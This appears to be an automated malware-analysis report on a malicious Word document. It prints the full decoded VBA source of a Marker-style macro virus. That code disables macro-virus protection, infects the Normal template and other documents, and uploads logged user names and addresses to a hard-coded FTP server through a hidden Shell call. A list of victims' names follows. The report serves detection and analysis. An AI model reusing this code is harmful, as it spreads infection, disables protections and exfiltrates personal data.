MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1553.005 Disable or Modify Tool Integrity
T1047 WMI
The sample is a malicious Office document containing VBA macros. These macros are designed to disable macro virus protection and replicate themselves to the Normal template, indicating an attempt at persistence and propagation. The script also attempts to write to specific file paths and network connection details, suggesting it's a downloader or part of a larger malicious chain.
Heuristics 5
-
ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-31
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8331 bytes |
SHA-256: 2dff66208dceaa6a2d473a647828491b04098bb6a2a37ad0a7259289858b2a73 |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For i = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next i
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For i = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next i
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 03:07:26 PM - Tuesday, 22 Dec 1998
' BCBSA
'
' 03:28:02 PM - Wednesday, 6 Jan 1999
' BCBSA
'
' 02:59:47 PM - Monday, 11 Jan 1999
' Marsha Veach
'
' 01:54:54 PM - Wednesday, 20 Jan 1999
' Connie Sandifer, CMP
'
' 09:33:06 PM - Monday, 25 Jan 1999
' Doug Rowan
'
' 08:21:12 AM - Wednesday, 27 Jan 1999
' IMSI
'
' 10:59:58 AM - Friday, 29 Jan 1999
' Raj
'
' 03:37:57 PM - Saturday, 30 Jan 1999
' hornd
'
' 01:26:48 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'
' 04:57:29 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'
' 06:35:44 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'
' 04:23:52 PM - Thursday, 4 Feb 1999
' Cooley Godward
'
' 04:27:39 PM - Saturday, 6 Feb 1999
' Cooley Godward
'
' 06:18:06 PM - Monday, 8 Feb 1999
' Cooley Godward
'
' 09:17:17 PM - Tuesday, 9 Feb 1999
' hclee
'
' 04:44:45 PM - Wednesday, 17 Feb 1999
' Dr. W. Hsiao
' Wendy Hsiao, Ph.D.
' 04:13:19 PM - Tuesday, 23 Feb 1999
' CCST
'
' 10:09:35 AM - Saturday, 20 Mar 1999
' cpwu
'
' 09:33:49 AM - Thursday, 6 May 1999
' 柳建华
'
' 12:39:25 PM - Tuesday, 20 May 1997
' ghc-bbc
'
' 01:21:36 PM - Friday, 7 May 1999
' 李晋闽
'
' 05:51:53 - Wednesday, 12 May 1999
' qdzhuang
'
' 03:23:04 PM - Saturday, 19 Jun 1999
' 李晋闽
'
' 02:53:46 下午 - Tuesday, 6 Sep 2011
' 李晋闽
'
' 09:37:47 上午 - Monday, 19 Sep 2011
' 张士力
'
' 01:41:54 下午 - Monday, 26 Sep 2011
' unknown
'
' 10:50:02 上午 - Wednesday, 19 Oct 2011
' 祝昊泉
'
' 08:27:05 上午 - Wednesday, 26 Oct 2011
' 迟文倩
'
' 10:37:36 上午 - Monday, 31 Oct 2011
' 蒋运枫
'
' 04:21:38 下午 - Monday, 31 Oct 2011
' 李彩梅
'
' 08:15:53 上午 - Wednesday, 2 Nov 2011
' 张会芳
'
' 03:51:55 下午 - Friday, 4 Nov 2011
' 刘冬红
'
' 11:58:54 上午 - Friday, 11 Nov 2011
' 陈平平
'
' 02:28:09 下午 - Monday, 21 Nov 2011
' 尚纳新
'
' 05:13:09 下午 - Monday, 21 Nov 2011
' unknown
'
' 10:09:41 上午 - Thursday, 1 Dec 2011
' 人教局薪酬处
'
' 10:34:51 上午 - Friday, 9 Dec 2011
' 田思维
'
' 12:23:10 下午 - Monday, 12 Mar 2012
' 田思维
'
' 11:06:25 上午 - Friday, 4 May 2012
' 汲长征
'
' 10:21:11 AM - Thursday, 10 May 2012
' walkinnet
'
' 09:41:33 上午 - Tuesday, 15 May 2012
' Xulm
'
' 08:30:00 上午 - Friday, 18 May 2012
' 419
'
' 10:26:33 上午 - Thursday, 7 Jun 2012
' User
'
' 03:20:00 下午 - Thursday, 7 Jun 2012
' 赵清
'
' 06:40:51 下午 - Monday, 11 Jun 2012
' 李志军
'
' 09:55:58 上午 - Monday, 25 Jun 2012
' 陈美媛
'
' 10:40:27 上午 - Tuesday, 11 Sep 2012
' User
'
' 11:05:33 上午 - Tuesday, 23 Oct 2012
' USER-
'
' 09:22:31 上午 - Thursday, 7 Mar 2013
' 王璇
'
' 04:20:47 下午 - Thursday, 7 Mar 2013
' 王璇
'
' 10:16:03 上午 - Saturday, 16 Mar 2013
' 王璇
'
' 09:59:46 上午 - Tuesday, 19 Mar 2013
' 王璇
'
' 03:52:46 下午 - Thursday, 21 Mar 2013
' 王璇
'
' 08:33:47 上午 - Friday, 22 Mar 2013
' 王璇
'
' 08:29:15 上午 - Monday, 25 Mar 2013
' User
'
' 12:19:16 下午 - Tuesday, 26 Aug 2014
' 孙朔
'
' 02:34:07 下午 - Wednesday, 3 Sep 2014
' User
'
' 10:50:18 下午 - Thursday, 4 Sep 2014
' 微软用户
'
' 09:42:05 上午 - Thursday, 18 Sep 2014
' 郑彩彩
'
' 11:15:00 上午 - Monday, 27 Oct 2014
' 桑兆虎
'
' 11:19:43 上午 - Tuesday, 28 Oct 2014
' 郑东新
'
' 11:33:22 上午 - Thursday, 30 Oct 2014
' 秦德轮
'
' 11:33:46 上午 - Thursday, 22 Jan 2015
' 于鹏
'
' 03:44:31 下午 - Friday, 30 Jan 2015
' 王倩
'
' 02:15:19 下午 - Thursday, 5 Feb 2015
' 微软用户
'
' 08:17:00 上午 - Monday, 13 Apr 2015
' 微软用户
'
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.